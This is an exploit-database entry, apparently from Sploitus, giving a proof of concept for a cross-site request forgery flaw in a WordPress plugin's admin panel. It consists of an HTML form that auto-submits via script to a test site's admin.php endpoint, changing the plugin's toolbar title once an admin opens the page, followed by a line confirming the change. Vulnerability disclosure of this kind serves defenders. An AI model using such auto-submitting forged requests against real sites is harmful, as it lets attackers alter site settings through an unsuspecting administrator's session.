## https://sploitus.com/exploit?id=WPEX-ID:71C616FF-0A7E-4F6D-950B-79C469A28263
Make an admin open an HTML page with the following HTML:
```
<form action="https://wps-test.ddev.site/wp-admin/admin.php?page=mypanel&do=submit" method="POST">
<input type="text" name="bdaia_t_title" value="CSRF Title">
</form>
<script> document.forms[0].submit(); </script>
```
See that the plugin's "Header Options > Toolbar Options > Title" has been updated to `CSRF Title`